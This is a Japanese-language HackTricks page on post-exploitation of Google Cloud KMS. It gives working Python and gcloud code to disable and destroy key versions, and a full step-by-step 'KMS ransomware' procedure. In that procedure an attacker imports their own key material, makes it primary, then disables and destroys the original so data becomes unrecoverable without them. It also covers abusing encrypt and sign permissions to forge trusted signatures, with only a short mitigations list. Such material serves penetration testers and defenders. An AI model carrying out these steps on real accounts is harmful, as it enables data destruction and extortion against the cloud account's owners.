GCP - KMS Post Exploitation

Support HackTricks

KMS

KMSに関する基本情報を見つけるには以下を参照してください:

GCP - KMS Enum

cloudkms.cryptoKeyVersions.destroy

この権限を持つ攻撃者はKMSバージョンを破壊することができます。これを行うには、まずキーを無効にしてから破壊する必要があります:

# pip install google-cloud-kms

from google.cloud import kms

def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Disables a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Call the API to disable the key version.
client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})

def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version):
"""
Destroys a key version in Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Call the API to destroy the key version.
client.destroy_crypto_key_version(request={'name': key_version_name})

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'  # Version number to disable and destroy

# Disable the key version
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)

# Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)

KMS Ransomware

AWSでは、KMSリソースポリシーを変更し、攻撃者のアカウントだけがキーを使用できるようにすることで、KMSキーを完全に盗むことが可能です。GCPにはこれらのリソースポリシーが存在しないため、これは不可能です。

しかし、グローバルKMSランサムウェアを実行する別の方法があります。これには次のステップが含まれます:

  • 攻撃者がインポートしたキー素材を持つ新しいバージョンのキーを作成する

gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
  • デフォルトバージョンとして設定する(今後暗号化されるデータに対して)

  • 以前のバージョンで暗号化された古いデータを再暗号化する

  • KMSキーを削除する

  • これで、元のキー素材を持っている攻撃者だけが暗号化されたデータを復号できるようになる

新しいバージョンをインポートし、古いデータを無効化/削除する手順は以下の通りです:

# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
gcloud kms encrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--plaintext-file my-plaintext-file.txt \
--ciphertext-file my-encrypted-file.enc

# Decrypt it
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -


# Create an Import Job
gcloud kms import-jobs create my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--import-method "rsa-oaep-3072-sha1-aes-256" \
--protection-level "software"

# Generate key material
openssl rand -out my-key-material.bin 32

# Import the Key Material (it's encrypted with an asymetrict key of the import job previous to be sent)
gcloud kms keys versions import \
--import-job my-import-job \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--algorithm "google-symmetric-encryption" \
--target-key-file my-key-material.bin

# Get versions
gcloud kms keys versions list \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key

# Make new version primary
gcloud kms keys update \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--primary-version 2

# Try to decrypt again (error)
gcloud kms decrypt \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--ciphertext-file my-encrypted-file.enc \
--plaintext-file -

# Disable initial version
gcloud kms keys versions disable \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key 1

# Destroy the old version
gcloud kms keys versions destroy \
--location us-central1 \
--keyring kms-lab-2-keyring \
--key kms-lab-2-key \
--version 1

cloudkms.cryptoKeyVersions.useToEncrypt | cloudkms.cryptoKeyVersions.useToEncryptViaDelegation

これらの権限は、Cloud KMS 鍵を使用してデータを暗号化するために必要です。ポストエクスプロイトのシナリオでは、これらの権限を持つサービスアカウントやユーザーを見つけることができれば、機密データを暗号化して隠蔽することが可能です。

利用例

gcloud kms encrypt \
  --location=global \
  --keyring=my-keyring \
  --key=my-key \
  --plaintext-file=example.txt \
  --ciphertext-file=example.txt.enc

このコマンドは、example.txt ファイルを指定された鍵で暗号化し、結果を example.txt.enc ファイルに保存します。

from google.cloud import kms
import base64

def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)

# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')

# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext

# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)

# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'

ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)

cloudkms.cryptoKeyVersions.useToSign

cloudkms.cryptoKeyVersions.useToSign 権限は、攻撃者が Cloud KMS 鍵を使用してデータに署名することを可能にします。これにより、攻撃者は信頼できるソースからのものであるかのように見えるデータを作成することができます。

影響

この権限を持つ攻撃者は、次のことが可能です:

  • データの整合性を偽装する

  • 認証プロセスを回避する

  • 他のシステムやユーザーを欺く

対策

  • 最小権限の原則を適用する

  • 定期的な権限のレビューと監査

  • Cloud KMS 鍵の使用を監視する

以下は、cloudkms.cryptoKeyVersions.useToSign 権限を使用してデータに署名する例です:

gcloud kms keys versions sign --key <KEY_NAME> --keyring <KEYRING_NAME> --location <LOCATION> --input-file <INPUT_FILE> --output-file <OUTPUT_FILE>

このコマンドは、指定された鍵を使用して入力ファイルに署名し、出力ファイルに保存します。

import hashlib
from google.cloud import kms

def sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message):
"""
Sign a message using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest)
return sign_response.signature

# Example usage for signing
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
key_version = '1'
message = 'your-message'

signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
print('Signature:', signature)

cloudkms.cryptoKeyVersions.useToVerify

cloudkms.cryptoKeyVersions.useToVerify 権限は、指定された鍵バージョンを使用してデジタル署名を検証するために必要です。この権限を持つことで、攻撃者は署名の有効性を確認することができます。

IAMポリシーの検索

攻撃者は、cloudkms.cryptoKeyVersions.useToVerify 権限を持つIAMポリシーを検索することで、どのユーザーやサービスアカウントがこの権限を持っているかを特定できます。以下のコマンドを使用して、プロジェクト内のすべてのIAMポリシーをリストアップし、cloudkms.cryptoKeyVersions.useToVerify 権限を持つエントリをフィルタリングします。

gcloud projects get-iam-policy [PROJECT_ID] --format=json | jq '.bindings[] | select(.role=="roles/cloudkms.cryptoKeyVersions.useToVerify")'

鍵バージョンのリスト

攻撃者は、cloudkms.cryptoKeyVersions.useToVerify 権限を持つ鍵バージョンをリストアップすることで、どの鍵が署名の検証に使用されているかを確認できます。以下のコマンドを使用して、プロジェクト内のすべての鍵バージョンをリストアップします。

gcloud kms keys versions list --location [LOCATION] --keyring [KEYRING_NAME] --key [KEY_NAME]

署名の検証

攻撃者は、cloudkms.cryptoKeyVersions.useToVerify 権限を使用して、特定のデジタル署名の有効性を検証できます。以下のコマンドを使用して、署名を検証します。

gcloud kms keys versions verify --location [LOCATION] --keyring [KEYRING_NAME] --key [KEY_NAME] --version [VERSION] --signature-file [SIGNATURE_FILE] --message-file [MESSAGE_FILE]
from google.cloud import kms
import hashlib

def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()

# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)

# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}

# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success

# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
HackTricksをサポートする

Last updated